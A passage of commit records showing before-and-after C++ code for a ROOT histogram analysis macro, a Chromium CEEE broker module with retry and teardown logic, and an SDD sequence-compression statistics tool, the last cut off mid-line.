{"text":"<commit_before>using namespace std;\n\/**\n * Saving Histogram Data\n *\/\nvoid ExportHistogram(TFile* f,const char* histKey,const char* outputfile){\n  \/\/ Root Setup\n  TH1F* h = (TH1F*) f->Get(histKey);\n\n  \/\/ File Setup\n  ofstream out;\n  out.open(outputfile);\n  out<<\"Bin,Value,Error\"<<endl;\n  for (int i = 1; i < h->GetNbinsX()-1; i++){\n    out<<h->GetBinCenter(i)<<\",\"<<h->GetBinContent(i)<<\",\"<<h->GetBinError(i)<<endl;\n  }\n  out.close();\n}\n\/**\n * Runs the GS20 analysis\n *\n * @param fN neutron file pointer\n * @param fG gamma file pointer\n *\/\nvoid RunGS20(TFile* fN,TFile* fG){\n\n\tTH1F* hN = (TH1F*) fN->Get(\"3\");\n  hN->Sumw2();\n  hN->Scale(1.0\/hN->GetIntegral());\n\tTH1F* hG = (TH1F*) fG->Get(\"3\");\n  hG->Sumw2();\n  hG->Scale(1.0\/hG->GetIntegral());\n\tTCanvas* c = new TCanvas();\n  gStyle->SetOptStat(0);\n\thN->Draw();\n\thN->SetTitle(\"Optical Photons Detected\");\n\thN->GetXaxis()->SetTitle(\"Number of Photons\");\n  hN->SetLineColor(1);\n\thG->Draw(\"same\");\n  hG->SetLineColor(2);\n  c->Update();\n  c->SaveAs(\"GS20SimulatedLightOverlap.eps\");\n  \n  ExportHistogram(fN,\"3\",\"GS20NeutronOPDist.csv\");\n  ExportHistogram(fG,\"3\",\"GS20GammaOPDist.csv\");\n\n}\n\/**\n * Main\n *  root[#] .L Analysis.C\n *  root[#] main()\n *\/\nint main(){\n \n\tTFile* fN = NULL;\n\tTFile* fG = NULL;\n\n\t\/* Runnign the GS20 *\/\n\tfN = new TFile(\"GS20_Neutron.root\",\"r\");\n  fG = new TFile(\"GS20_Gamma.root\",\"r\");\n\tif (fN && fG){\n\t\tRunGS20(fN,fG);\n\t\tfN->Close();\n\t\tfG->Close();\n\t}\n}\n<commit_msg>Switched to using produced histogram photons<commit_after>using namespace std;\n\/**\n * Saving Histogram Data\n *\/\nvoid ExportHistogram(TFile* f,const char* histKey,const char* outputfile){\n  \/\/ Root Setup\n  TH1F* h = (TH1F*) f->Get(histKey);\n\n  \/\/ File Setup\n  ofstream out;\n  out.open(outputfile);\n  out<<\"Bin,Value,Error\"<<endl;\n  for (int i = 1; i < h->GetNbinsX()-1; i++){\n    out<<h->GetBinCenter(i)<<\",\"<<h->GetBinContent(i)<<\",\"<<h->GetBinError(i)<<endl;\n  }\n  out.close();\n}\n\/**\n * Runs the GS20 analysis\n *\n * @param fN neutron file pointer\n * @param fG gamma file pointer\n *\/\nvoid RunGS20(TFile* fN,TFile* fG){\n\n\tTH1F* hN = (TH1F*) fN->Get(\"2\");\n  hN->Sumw2();\n  hN->Scale(1.0\/hN->GetIntegral());\n\tTH1F* hG = (TH1F*) fG->Get(\"2\");\n  hG->Sumw2();\n  hG->Scale(1.0\/hG->GetIntegral());\n\tTCanvas* c = new TCanvas();\n  gStyle->SetOptStat(0);\n\thN->Draw();\n\thN->SetTitle(\"Optical Photons Detected\");\n\thN->GetXaxis()->SetTitle(\"Number of Photons\");\n  hN->SetLineColor(1);\n\thG->Draw(\"same\");\n  hG->SetLineColor(2);\n  c->Update();\n  c->SaveAs(\"GS20SimulatedLightOverlap.eps\");\n  \n  ExportHistogram(fN,\"2\",\"GS20NeutronOPDist.csv\");\n  ExportHistogram(fG,\"2\",\"GS20GammaOPDist.csv\");\n\n}\n\/**\n * Main\n *  root[#] .L Analysis.C\n *  root[#] main()\n *\/\nint main(){\n \n\tTFile* fN = NULL;\n\tTFile* fG = NULL;\n\n\t\/* Runnign the GS20 *\/\n\tfN = new TFile(\"GS20_Neutron.root\",\"r\");\n  fG = new TFile(\"GS20_Gamma.root\",\"r\");\n\tif (fN && fG){\n\t\tRunGS20(fN,fG);\n\t\tfN->Close();\n\t\tfG->Close();\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\/\/ Declaration of ATL module object for EXE module.\n\n#include <atlbase.h>\n#include <atlhost.h>\n\n#include \"base\/at_exit.h\"\n#include \"base\/command_line.h\"\n#include \"base\/debug\/trace_event.h\"\n#include \"base\/logging.h\"\n#include \"base\/logging_win.h\"\n#include \"ceee\/ie\/broker\/broker.h\"\n#include \"ceee\/ie\/broker\/broker_rpc_server.h\"\n#include \"ceee\/ie\/broker\/chrome_postman.h\"\n#include \"ceee\/ie\/broker\/executors_manager.h\"\n#include \"ceee\/ie\/broker\/resource.h\"\n#include \"ceee\/ie\/broker\/window_events_funnel.h\"\n#include \"ceee\/ie\/common\/crash_reporter.h\"\n#include \"ceee\/common\/com_utils.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"chrome_frame\/metrics_service.h\"\n\nnamespace {\n\nconst wchar_t kLogFileName[] = L\"CeeeBroker.log\";\n\n\/\/ {6E3D6168-1DD2-4edb-A183-584C2C66E96D}\nconst GUID kCeeeBrokerLogProviderName =\n    { 0x6e3d6168, 0x1dd2, 0x4edb,\n        { 0xa1, 0x83, 0x58, 0x4c, 0x2c, 0x66, 0xe9, 0x6d } };\n\n}  \/\/ namespace\n\n\/\/ Object entries go here instead of with each object, so that we can keep\n\/\/ the objects in a lib, and also to decrease the amount of magic.\nOBJECT_ENTRY_AUTO(__uuidof(CeeeBroker), CeeeBroker)\n\nclass CeeeBrokerModule : public CAtlExeModuleT<CeeeBrokerModule> {\n public:\n  CeeeBrokerModule();\n  ~CeeeBrokerModule();\n\n  DECLARE_LIBID(LIBID_CeeeBrokerLib)\n  static HRESULT WINAPI UpdateRegistryAppId(BOOL register) throw();\n\n  \/\/ We have our own version so that we can explicitly specify\n  \/\/ that we want to be in a multi threaded apartment.\n  static HRESULT InitializeCom();\n\n  \/\/ Prevent COM objects we don't own to control our lock count.\n  \/\/ To properly manage our lifespan, yet still be able to control the\n  \/\/ lifespan of the ChromePostman's thread, we must only rely on the\n  \/\/ CeeeBroker implementation of the IExternalConnection interface\n  \/\/ as well as the ExecutorsManager map content to decide when to die.\n  virtual LONG Lock() {\n    return 1;\n  }\n  virtual LONG Unlock() {\n    return 1;\n  }\n\n  \/\/ We prevent access to the module lock count from objects we don't\n  \/\/ own by overriding the Un\/Lock methods above. But when we want to\n  \/\/ access the module lock count, we do it from here, and bypass our\n  \/\/ override. These are the entry points that only our code accesses.\n  LONG LockModule() {\n    return CAtlExeModuleT<CeeeBrokerModule>::Lock();\n  }\n  LONG UnlockModule() {\n    return CAtlExeModuleT<CeeeBrokerModule>::Unlock();\n  }\n\n  HRESULT PostMessageLoop();\n  HRESULT PreMessageLoop(int show);\n private:\n  \/\/ We maintain a postman COM object on the stack so that we can\n  \/\/ properly initialize and terminate it at the right time.\n  CComObjectStackEx<ChromePostman> chrome_postman_;\n  CrashReporter crash_reporter_;\n  base::AtExitManager at_exit_;\n  BrokerRpcServer rpc_server_;\n};\n\nCeeeBrokerModule module;\n\nextern \"C\" int WINAPI _tWinMain(HINSTANCE, HINSTANCE, LPTSTR, int nShowCmd) {\n  return module.WinMain(nShowCmd);\n}\n\nCeeeBrokerModule::CeeeBrokerModule()\n    : crash_reporter_(L\"ceee_broker\") {\n  TRACE_EVENT_BEGIN(\"ceee.broker\", this, \"\");\n\n  wchar_t logfile_path[MAX_PATH];\n  DWORD len = ::GetTempPath(arraysize(logfile_path), logfile_path);\n  ::PathAppend(logfile_path, kLogFileName);\n\n  \/\/ It seems we're obliged to initialize the current command line\n  \/\/ before initializing logging.\n  CommandLine::Init(0, NULL);\n\n  logging::InitLogging(\n      logfile_path,\n      logging::LOG_TO_BOTH_FILE_AND_SYSTEM_DEBUG_LOG,\n      logging::LOCK_LOG_FILE,\n      logging::APPEND_TO_OLD_LOG_FILE);\n\n  \/\/ Initialize ETW logging.\n  logging::LogEventProvider::Initialize(kCeeeBrokerLogProviderName);\n\n  \/\/ Initialize control hosting.\n  BOOL initialized = AtlAxWinInit();\n  DCHECK(initialized);\n\n  \/\/ Needs to be called before we can use GURL.\n  chrome::RegisterChromeSchemes();\n\n  crash_reporter_.InitializeCrashReporting(false);\n}\n\nHRESULT CeeeBrokerModule::InitializeCom() {\n  HRESULT hr = ::CoInitializeEx(NULL, COINIT_MULTITHREADED);\n  if (FAILED(hr))\n    return hr;\n\n  \/\/ We need to initialize security before setting global options.\n  hr = ::CoInitializeSecurity(NULL,\n                              -1,\n                              NULL,\n                              NULL,\n                              \/\/ Clients must identify.\n                              RPC_C_IMP_LEVEL_IDENTIFY,\n                              \/\/ And we identify.\n                              RPC_C_IMP_LEVEL_IDENTIFY,\n                              NULL,\n                              \/\/ We don't want low integrity to be able to\n                              \/\/ instantiate arbitrary objects in our process.\n                              EOAC_NO_CUSTOM_MARSHAL,\n                              NULL);\n  DCHECK(SUCCEEDED(hr));\n\n  \/\/ Ensure the marshaling machinery doesn't eat our crashes.\n  CComPtr<IGlobalOptions> options;\n  hr = options.CoCreateInstance(CLSID_GlobalOptions);\n  if (SUCCEEDED(hr)) {\n    hr = options->Set(COMGLB_EXCEPTION_HANDLING, COMGLB_EXCEPTION_DONOT_HANDLE);\n  }\n  DLOG_IF(WARNING, FAILED(hr)) << \"IGlobalOptions::Set failed \"\n                               << com::LogHr(hr);\n\n  \/\/ The above is best-effort, don't bail on error.\n  return S_OK;\n}\n\nHRESULT CeeeBrokerModule::PreMessageLoop(int show) {\n  \/\/ It's important to initialize the postman BEFORE we make the Broker\n  \/\/ and the event funnel available, since we may get requests to execute\n  \/\/ API invocation or Fire events before the postman is ready to handle them.\n  chrome_postman_.Init();\n  WindowEventsFunnel::Initialize();\n\n  if (!rpc_server_.Start())\n    return RPC_E_FAULT;\n\n  \/\/ Initialize metrics. We need the rpc_server_ above to be available.\n  MetricsService::Start();\n\n  return CAtlExeModuleT<CeeeBrokerModule>::PreMessageLoop(show);\n}\n\nHRESULT CeeeBrokerModule::PostMessageLoop() {\n  HRESULT hr = CAtlExeModuleT<CeeeBrokerModule>::PostMessageLoop();\n  Singleton<ExecutorsManager,\n            ExecutorsManager::SingletonTraits>()->Terminate();\n  WindowEventsFunnel::Terminate();\n\n  \/\/ Upload data if necessary.\n  MetricsService::Stop();\n\n  chrome_postman_.Term();\n  return hr;\n}\n\nCeeeBrokerModule::~CeeeBrokerModule() {\n  crash_reporter_.ShutdownCrashReporting();\n  logging::CloseLogFile();\n\n  TRACE_EVENT_END(\"ceee.broker\", this, \"\");\n}\n\nHRESULT WINAPI CeeeBrokerModule::UpdateRegistryAppId(BOOL reg) throw() {\n  return com::ModuleRegistrationWithoutAppid(IDR_BROKER_MODULE, reg);\n}\n\nnamespace ceee_module_util {\n\nLONG LockModule() {\n  return module.LockModule();\n}\n\nLONG UnlockModule() {\n  return module.UnlockModule();\n}\n\n}  \/\/ namespace\n<commit_msg>Committing patch http:\/\/codereview.chromium.org\/5288001\/ from vitalybuka@google.com.<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\/\/ Declaration of ATL module object for EXE module.\n\n#include <atlbase.h>\n#include <atlhost.h>\n\n#include \"base\/at_exit.h\"\n#include \"base\/command_line.h\"\n#include \"base\/debug\/trace_event.h\"\n#include \"base\/logging.h\"\n#include \"base\/logging_win.h\"\n#include \"ceee\/ie\/broker\/broker.h\"\n#include \"ceee\/ie\/broker\/broker_rpc_server.h\"\n#include \"ceee\/ie\/broker\/chrome_postman.h\"\n#include \"ceee\/ie\/broker\/executors_manager.h\"\n#include \"ceee\/ie\/broker\/resource.h\"\n#include \"ceee\/ie\/broker\/window_events_funnel.h\"\n#include \"ceee\/ie\/common\/crash_reporter.h\"\n#include \"ceee\/common\/com_utils.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"chrome_frame\/metrics_service.h\"\n\nnamespace {\n\nconst wchar_t kLogFileName[] = L\"CeeeBroker.log\";\n\n\/\/ {6E3D6168-1DD2-4edb-A183-584C2C66E96D}\nconst GUID kCeeeBrokerLogProviderName =\n    { 0x6e3d6168, 0x1dd2, 0x4edb,\n        { 0xa1, 0x83, 0x58, 0x4c, 0x2c, 0x66, 0xe9, 0x6d } };\n\n}  \/\/ namespace\n\n\/\/ Object entries go here instead of with each object, so that we can keep\n\/\/ the objects in a lib, and also to decrease the amount of magic.\nOBJECT_ENTRY_AUTO(__uuidof(CeeeBroker), CeeeBroker)\n\nclass CeeeBrokerModule : public CAtlExeModuleT<CeeeBrokerModule> {\n public:\n  CeeeBrokerModule();\n  ~CeeeBrokerModule();\n\n  DECLARE_LIBID(LIBID_CeeeBrokerLib)\n  static HRESULT WINAPI UpdateRegistryAppId(BOOL register) throw();\n\n  \/\/ We have our own version so that we can explicitly specify\n  \/\/ that we want to be in a multi threaded apartment.\n  static HRESULT InitializeCom();\n\n  \/\/ Prevent COM objects we don't own to control our lock count.\n  \/\/ To properly manage our lifespan, yet still be able to control the\n  \/\/ lifespan of the ChromePostman's thread, we must only rely on the\n  \/\/ CeeeBroker implementation of the IExternalConnection interface\n  \/\/ as well as the ExecutorsManager map content to decide when to die.\n  virtual LONG Lock() {\n    return 1;\n  }\n  virtual LONG Unlock() {\n    return 1;\n  }\n\n  \/\/ We prevent access to the module lock count from objects we don't\n  \/\/ own by overriding the Un\/Lock methods above. But when we want to\n  \/\/ access the module lock count, we do it from here, and bypass our\n  \/\/ override. These are the entry points that only our code accesses.\n  LONG LockModule() {\n    return CAtlExeModuleT<CeeeBrokerModule>::Lock();\n  }\n  LONG UnlockModule() {\n    return CAtlExeModuleT<CeeeBrokerModule>::Unlock();\n  }\n\n  HRESULT PostMessageLoop();\n  HRESULT PreMessageLoop(int show);\n private:\n  void TearDown();\n\n  \/\/ We maintain a postman COM object on the stack so that we can\n  \/\/ properly initialize and terminate it at the right time.\n  CComObjectStackEx<ChromePostman> chrome_postman_;\n  CrashReporter crash_reporter_;\n  base::AtExitManager at_exit_;\n  BrokerRpcServer rpc_server_;\n};\n\nCeeeBrokerModule module;\n\nextern \"C\" int WINAPI _tWinMain(HINSTANCE, HINSTANCE, LPTSTR, int nShowCmd) {\n  return module.WinMain(nShowCmd);\n}\n\nCeeeBrokerModule::CeeeBrokerModule()\n    : crash_reporter_(L\"ceee_broker\") {\n  TRACE_EVENT_BEGIN(\"ceee.broker\", this, \"\");\n\n  wchar_t logfile_path[MAX_PATH];\n  DWORD len = ::GetTempPath(arraysize(logfile_path), logfile_path);\n  ::PathAppend(logfile_path, kLogFileName);\n\n  \/\/ It seems we're obliged to initialize the current command line\n  \/\/ before initializing logging.\n  CommandLine::Init(0, NULL);\n\n  logging::InitLogging(\n      logfile_path,\n      logging::LOG_TO_BOTH_FILE_AND_SYSTEM_DEBUG_LOG,\n      logging::LOCK_LOG_FILE,\n      logging::APPEND_TO_OLD_LOG_FILE);\n\n  \/\/ Initialize ETW logging.\n  logging::LogEventProvider::Initialize(kCeeeBrokerLogProviderName);\n\n  \/\/ Initialize control hosting.\n  BOOL initialized = AtlAxWinInit();\n  DCHECK(initialized);\n\n  \/\/ Needs to be called before we can use GURL.\n  chrome::RegisterChromeSchemes();\n\n  crash_reporter_.InitializeCrashReporting(false);\n}\n\nHRESULT CeeeBrokerModule::InitializeCom() {\n  HRESULT hr = ::CoInitializeEx(NULL, COINIT_MULTITHREADED);\n  if (FAILED(hr))\n    return hr;\n\n  \/\/ We need to initialize security before setting global options.\n  hr = ::CoInitializeSecurity(NULL,\n                              -1,\n                              NULL,\n                              NULL,\n                              \/\/ Clients must identify.\n                              RPC_C_IMP_LEVEL_IDENTIFY,\n                              \/\/ And we identify.\n                              RPC_C_IMP_LEVEL_IDENTIFY,\n                              NULL,\n                              \/\/ We don't want low integrity to be able to\n                              \/\/ instantiate arbitrary objects in our process.\n                              EOAC_NO_CUSTOM_MARSHAL,\n                              NULL);\n  DCHECK(SUCCEEDED(hr));\n\n  \/\/ Ensure the marshaling machinery doesn't eat our crashes.\n  CComPtr<IGlobalOptions> options;\n  hr = options.CoCreateInstance(CLSID_GlobalOptions);\n  if (SUCCEEDED(hr)) {\n    hr = options->Set(COMGLB_EXCEPTION_HANDLING, COMGLB_EXCEPTION_DONOT_HANDLE);\n  }\n  DLOG_IF(WARNING, FAILED(hr)) << \"IGlobalOptions::Set failed \"\n                               << com::LogHr(hr);\n\n  \/\/ The above is best-effort, don't bail on error.\n  return S_OK;\n}\n\nHRESULT CeeeBrokerModule::PreMessageLoop(int show) {\n  \/\/ It's important to initialize the postman BEFORE we make the Broker\n  \/\/ and the event funnel available, since we may get requests to execute\n  \/\/ API invocation or Fire events before the postman is ready to handle them.\n  chrome_postman_.Init();\n  WindowEventsFunnel::Initialize();\n\n  \/\/ Another instance of broker may be shutting down right now. Do several\n  \/\/ attempts in hope the process exits and releases endpoint.\n  for (int i = 0; i < 10 && !rpc_server_.Start(); ++i)\n    Sleep(500);\n\n  \/\/ Initialize metrics. We need the rpc_server_ above to be available.\n  MetricsService::Start();\n\n  HRESULT hr = rpc_server_.is_started() ? S_OK : RPC_E_FAULT;\n  if (SUCCEEDED(hr))\n    hr = CAtlExeModuleT<CeeeBrokerModule>::PreMessageLoop(show);\n  if (FAILED(hr))\n    TearDown();\n  return hr;\n}\n\nHRESULT CeeeBrokerModule::PostMessageLoop() {\n  HRESULT hr = CAtlExeModuleT<CeeeBrokerModule>::PostMessageLoop();\n  TearDown();\n  return hr;\n}\n\nvoid CeeeBrokerModule::TearDown() {\n  rpc_server_.Stop();\n  Singleton<ExecutorsManager,\n            ExecutorsManager::SingletonTraits>()->Terminate();\n  WindowEventsFunnel::Terminate();\n\n  \/\/ Upload data if necessary.\n  MetricsService::Stop();\n\n  chrome_postman_.Term();\n}\n\nCeeeBrokerModule::~CeeeBrokerModule() {\n  crash_reporter_.ShutdownCrashReporting();\n  logging::CloseLogFile();\n  TRACE_EVENT_END(\"ceee.broker\", this, \"\");\n}\n\nHRESULT WINAPI CeeeBrokerModule::UpdateRegistryAppId(BOOL reg) throw() {\n  return com::ModuleRegistrationWithoutAppid(IDR_BROKER_MODULE, reg);\n}\n\nnamespace ceee_module_util {\n\nLONG LockModule() {\n  return module.LockModule();\n}\n\nLONG UnlockModule() {\n  return module.UnlockModule();\n}\n\n}  \/\/ namespace\n<|endoftext|>"}
{"text":"<commit_before>#include <numeric>\n#include <cstdlib>\n#include <iostream>\n#include <fstream>\n#include <string>\n#include <vector>\n#include <set>\n#include <csignal>\n#include <cmath>\n#include <ctgmath>\n\n#include \"sdd\/sdd.hh\"\n#include \"sdd\/tools\/size.hh\"\n#include \"sdd\/tools\/nodes.hh\"\n#include \"sdd\/tools\/arcs.hh\"\n#include \"sdd\/tools\/sequences.hh\"\n#include \"sdd\/tools\/dot\/sdd.hh\"\n\nusing namespace std;\n\nstatic bool finish = false;\n\nvoid\nhandler(int s)\n{\n  finish = true;\n}\n\nstruct conf\n  : public sdd::flat_set_default_configuration\n{\n  using Identifier = unsigned int;\n  using Values     = sdd::values::flat_set<char>;\n};\nusing SDD         = sdd::SDD<conf>;\nusing values_type = conf::Values;\n\nint\nmain (int argc, const char** argv)\n{\n  const auto subsize = 100;\n  if (argc == 0)\n  {\n    cerr << \"sdd-stream <min-length> <max-length>\" << endl;\n    return 1;\n  }\n\n  struct sigaction sigIntHandler;\n  sigIntHandler.sa_handler = handler;\n  sigemptyset (&sigIntHandler.sa_mask);\n  sigIntHandler.sa_flags = 0;\n  sigaction (SIGINT, &sigIntHandler, NULL);\n\n  size_t min_length = stoi (argv [1]);\n  size_t max_length = stoi (argv [2]);\n\n  vector<SDD> collections;\n  collections.reserve (subsize);\n\n  conf c;\n  c.final_cleanup = false; \/\/ don't cleanup memory on manager scope exit.\n  c.hom_cache_size = 2; \/\/ we don't use homomorphisms.\n  c.hom_unique_table_size = 2; \/\/ we don't use homomorphisms.\n\/\/  c.sdd_intersection_cache_size = 16000000;\n\/\/  c.sdd_sum_cache_size = 16000000;\n\/\/  c.sdd_difference_cache_size = 16000000;\n\/\/  c.sdd_unique_table_size = 10000000;\n  auto manager = sdd::init<conf>(c);\n\n  \/\/ \/\/ Construct the SDD order: we need one level per letter.\n  \/\/ vector<unsigned int> v (max_length);\n  \/\/ iota (v.begin(), v.end(), 0);\n  sdd::order_builder<conf> ob;\n  const sdd::order<conf> order {sdd::order_builder<conf> ()};\n\n  set<char> characters;\n\n  size_t inserted = 0;\n  size_t dropped  = 0;\n  size_t total    = 0;\n  size_t sum_inserted = 0;\n  string line;\n  line.reserve (80);\n  string sequence;\n  sequence.reserve (max_length);\n  cout << \"\\033[s\" << flush;\n  while (getline (cin, line))\n  {\n    if (line [0] == '>')\n    { \/\/ starting a new sequence:\n      total += 1;\n      if (sequence.size () != 0)\n      {\n        if ((sequence.size() >= min_length) && (sequence.size () <= max_length))\n        {\n          \/\/ cout << endl << sequence << endl;\n          SDD word = SDD(0, SDD::eol::flat, sdd::one<conf>());\n          for (auto i = 0u; i < sequence.size(); ++i)\n          {\n            characters.insert (sequence[sequence.size() - i - 1]);\n            word = SDD(0, {sequence[sequence.size() - i - 1]}, word);\n          }\n          collections.emplace_back(word);\n          inserted += 1;\n          sum_inserted += sequence.size();\n        }\n        else\n          dropped += 1;\n        sequence.clear ();\n      }\n      if (finish)\n        break;\n    }\n    else\n      sequence += line;\n    if (collections.size () == subsize)\n    {\n      const auto result = sdd::sum<conf> ( collections.cbegin()\n                                         , collections.cend() );\n      collections.clear ();\n      collections.push_back (result);\n    }\n    if (total % 200 == 0)\n      cout << \"\\033[u\"\n           << \"inserted: \" << inserted\n           << \" \/ \"\n           << \"dropped: \" << dropped\n           << \" \/ \"\n           << \"total: \" << total\n           << flush;\n  }\n  if ((sequence.size() >= min_length) && (sequence.size () <= max_length))\n  {\n    SDD word = SDD(0, SDD::eol::flat, sdd::one<conf>());\n    for (auto i = 0u; i < sequence.size(); ++i)\n    {\n      characters.insert (sequence[sequence.size() - i - 1]);\n      word = SDD(0, {sequence[sequence.size() - i - 1]}, word);\n    }\n    collections.emplace_back(word);\n    inserted += 1;\n    sum_inserted += sequence.size();\n  }\n  else\n    dropped += 1;\n  cout << \"\\033[u\"\n       << \"inserted: \" << inserted\n       << \" \/ \"\n       << \"dropped: \" << dropped\n       << \" \/ \"\n       << \"total: \" << total\n       << endl;\n  const auto result = sdd::sum<conf> ( collections.cbegin()\n                                     , collections.cend() );\n\n  cout << \"# Words: \" << result.size() << endl;\n  const auto nodes = sdd::tools::nodes(result).first;\n  cout << \"# Nodes: \" << nodes << endl;\n  const auto size = sdd::tools::size(result);\n  cout << \"Size: \" << ceil(static_cast<float>(size) \/ 1024 \/ 1024) << \" Mbytes\" << endl;\n\n  auto frequency = sdd::tools::arcs<conf>(result);\n  auto sequences = sdd::tools::sequences<conf>(result);\n\n  size_t max_children = 0;\n  for (auto& p : frequency)\n  {\n    max_children = max_children < p.first\n                 ? p.first\n                 : max_children;\n  }\n  size_t expected = 0;\n  size_t bitfield_size = ceil(static_cast<float>(characters.size())\/8);\n  size_t base_size = bitfield_size + 4 + 8 + 1;\n  cout << \"Bit field size: \" << bitfield_size << \" bytes\" << endl;\n  cout << \"Base node size: \" << base_size << \" bytes\" << endl;\n  const size_t average_length = 100;\n  const size_t bitsize = ceil(log2(characters.size()));\n  cout << \"Bitsize: \" << bitsize << endl;\n  for (size_t i = 0; i <= max_children; ++i)\n  {\n    if (frequency[i].first == 0)\n      continue;\n    cout << left << setw(3) << i\n         << \" => \"\n         << left << setw(10) << frequency[i].first\n         << right\n         << endl;\n    size_t subresult = 0;\n    size_t subsize   = 0;\n    if (i == 1)\n    {\n      size_t subcount = 0;\n      for (const auto& p : sequences)\n      {\n        size_t size = base_size + 8 + ceil(static_cast<float>(bitsize)* p.first \/ 8);\n        size += size % 8 == 0\n              ? 0\n              : 8 - (size % 8);\n\n        size *= p.second;\n        subresult += size;\n        subsize   += p.second;\n        subcount  += p.second * p.first;\n      }\n      subresult += (base_size + 8 + ceil(static_cast<float>(bitsize) \/ 8)) * (frequency[1].first - subcount);\n      size_t average = 150;\n      size_t should_size =\n        (base_size + 8 + ceil(static_cast<float>(bitsize)*average \/ 8))\n        * frequency[i].first \/ average;\n    }\n    else\n    {\n      size_t size = base_size + i * 8;\n      size += size % 8 == 0\n            ? 0\n            : 8 - (size % 8);\n      subresult = size * frequency[i].first;\n      subsize   = frequency[i].first;\n    }\n    expected += subresult;\n  }\n  cout << \"Expected size: \" << ceil(static_cast<float>(expected) \/ 1024 \/ 1024) << \" Mbytes\" << endl;\n  cout << \"Original size: \" << ceil(static_cast<float>(sum_inserted) \/ 1024 \/ 1024)\n       << \" Mbytes\"\n       << endl\n       << \"Binary size: \" << (sum_inserted * bitsize \/ 8 \/ 1024 \/ 1024 + 1)\n       << \" Mbytes\"\n       << endl;\n\n  if (nodes <= 5000)\n  {\n    ofstream of (\"machin.dot\");\n    of << sdd::tools::dot (result, order);\n  }\n\n  return 0;\n}\n<commit_msg>Add more output.<commit_after>#include <numeric>\n#include <cstdlib>\n#include <iostream>\n#include <fstream>\n#include <string>\n#include <vector>\n#include <set>\n#include <csignal>\n#include <cmath>\n#include <ctgmath>\n\n#include \"sdd\/sdd.hh\"\n#include \"sdd\/tools\/size.hh\"\n#include \"sdd\/tools\/nodes.hh\"\n#include \"sdd\/tools\/arcs.hh\"\n#include \"sdd\/tools\/sequences.hh\"\n#include \"sdd\/tools\/dot\/sdd.hh\"\n\nusing namespace std;\n\nstatic bool finish = false;\n\nvoid\nhandler(int s)\n{\n  finish = true;\n}\n\nstruct conf\n  : public sdd::flat_set_default_configuration\n{\n  using Identifier = unsigned int;\n  using Values     = sdd::values::flat_set<char>;\n};\nusing SDD         = sdd::SDD<conf>;\nusing values_type = conf::Values;\n\nint\nmain (int argc, const char** argv)\n{\n  const auto subsize = 100;\n  if (argc == 0)\n  {\n    cerr << \"sdd-stream <min-length> <max-length>\" << endl;\n    return 1;\n  }\n\n  struct sigaction sigIntHandler;\n  sigIntHandler.sa_handler = handler;\n  sigemptyset (&sigIntHandler.sa_mask);\n  sigIntHandler.sa_flags = 0;\n  sigaction (SIGINT, &sigIntHandler, NULL);\n\n  size_t min_length = stoi (argv [1]);\n  size_t max_length = stoi (argv [2]);\n\n  vector<SDD> collections;\n  collections.reserve (subsize);\n\n  conf c;\n  c.final_cleanup = false; \/\/ don't cleanup memory on manager scope exit.\n  c.hom_cache_size = 2; \/\/ we don't use homomorphisms.\n  c.hom_unique_table_size = 2; \/\/ we don't use homomorphisms.\n\/\/  c.sdd_intersection_cache_size = 16000000;\n\/\/  c.sdd_sum_cache_size = 16000000;\n\/\/  c.sdd_difference_cache_size = 16000000;\n\/\/  c.sdd_unique_table_size = 10000000;\n  auto manager = sdd::init<conf>(c);\n\n  \/\/ \/\/ Construct the SDD order: we need one level per letter.\n  \/\/ vector<unsigned int> v (max_length);\n  \/\/ iota (v.begin(), v.end(), 0);\n  sdd::order_builder<conf> ob;\n  const sdd::order<conf> order {sdd::order_builder<conf> ()};\n\n  set<char> characters;\n\n  size_t inserted = 0;\n  size_t dropped  = 0;\n  size_t total    = 0;\n  size_t sum_inserted = 0;\n  string line;\n  line.reserve (80);\n  string sequence;\n  sequence.reserve (max_length);\n  cout << \"\\033[s\" << flush;\n  while (getline (cin, line))\n  {\n    if (line [0] == '>')\n    { \/\/ starting a new sequence:\n      total += 1;\n      if (sequence.size () != 0)\n      {\n        if ((sequence.size() >= min_length) && (sequence.size () <= max_length))\n        {\n          \/\/ cout << endl << sequence << endl;\n          SDD word = SDD(0, SDD::eol::flat, sdd::one<conf>());\n          for (auto i = 0u; i < sequence.size(); ++i)\n          {\n            characters.insert (sequence[sequence.size() - i - 1]);\n            word = SDD(0, {sequence[sequence.size() - i - 1]}, word);\n          }\n          collections.emplace_back(word);\n          inserted += 1;\n          sum_inserted += sequence.size();\n        }\n        else\n          dropped += 1;\n        sequence.clear ();\n      }\n      if (finish)\n        break;\n    }\n    else\n      sequence += line;\n    if (collections.size () == subsize)\n    {\n      const auto result = sdd::sum<conf> ( collections.cbegin()\n                                         , collections.cend() );\n      collections.clear ();\n      collections.push_back (result);\n    }\n    if (total % 200 == 0)\n      cout << \"\\033[u\"\n           << \"inserted: \" << inserted\n           << \" \/ \"\n           << \"dropped: \" << dropped\n           << \" \/ \"\n           << \"total: \" << total\n           << flush;\n  }\n  if ((sequence.size() >= min_length) && (sequence.size () <= max_length))\n  {\n    SDD word = SDD(0, SDD::eol::flat, sdd::one<conf>());\n    for (auto i = 0u; i < sequence.size(); ++i)\n    {\n      characters.insert (sequence[sequence.size() - i - 1]);\n      word = SDD(0, {sequence[sequence.size() - i - 1]}, word);\n    }\n    collections.emplace_back(word);\n    inserted += 1;\n    sum_inserted += sequence.size();\n  }\n  else\n    dropped += 1;\n  cout << \"\\033[u\"\n       << \"inserted: \" << inserted\n       << \" \/ \"\n       << \"dropped: \" << dropped\n       << \" \/ \"\n       << \"total: \" << total\n       << endl;\n  const auto result = sdd::sum<conf> ( collections.cbegin()\n                                     , collections.cend() );\n\n  cout << \"# Words: \" << result.size() << endl;\n  const auto nodes = sdd::tools::nodes(result).first;\n  cout << \"# Nodes: \" << nodes << endl;\n  const auto size = sdd::tools::size(result);\n  cout << \"Size: \" << ceil(static_cast<float>(size) \/ 1024 \/ 1024) << \" Mbytes\" << endl;\n\n  auto frequency = sdd::tools::arcs<conf>(result);\n  auto sequences = sdd::tools::sequences<conf>(result);\n\n  cout << \"Node width frequency:\" << endl;\n  for (auto& p : frequency)\n  {\n    cout 